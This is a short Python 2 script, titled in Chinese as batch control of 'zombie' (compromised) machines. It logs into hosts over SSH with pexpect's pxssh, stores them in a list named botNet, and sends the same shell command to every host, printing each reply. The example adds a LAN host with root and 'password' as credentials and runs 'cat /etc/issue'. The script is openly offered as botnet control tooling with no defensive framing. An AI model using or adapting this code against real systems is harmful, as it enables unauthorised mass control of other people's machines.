python+批量肉鸡操作

import optparse
from pexpect import pxssh
class Client:
	def __init__(self, host, user , password):
		self.host=host
		self.user=user
		self.password=password
		self.session=self.connect()
	def connect(self):
		try:
			s=pxssh.pxssh()
			s.login(self.host, self.user, self.password)
			return s
		except Exception, e:
			print e
			print '[-]Error connecting'
	def send_command(self, cmd):
		self.session.sendline(cmd)
		self.session.prompt()
		return self.session.before
def botnetCommand(command):
	for client in botNet:
		output=client.send_command(command)
		print '[+]Output from '+client.host
		print '[+]'+output+'\n'
def addClient(host, user, password):
	client=Client(host, user, password)
	botNet.append(client)
botNet = []
addClient('192.168.1.138', 'root', 'password')
botnetCommand('cat /etc/issue')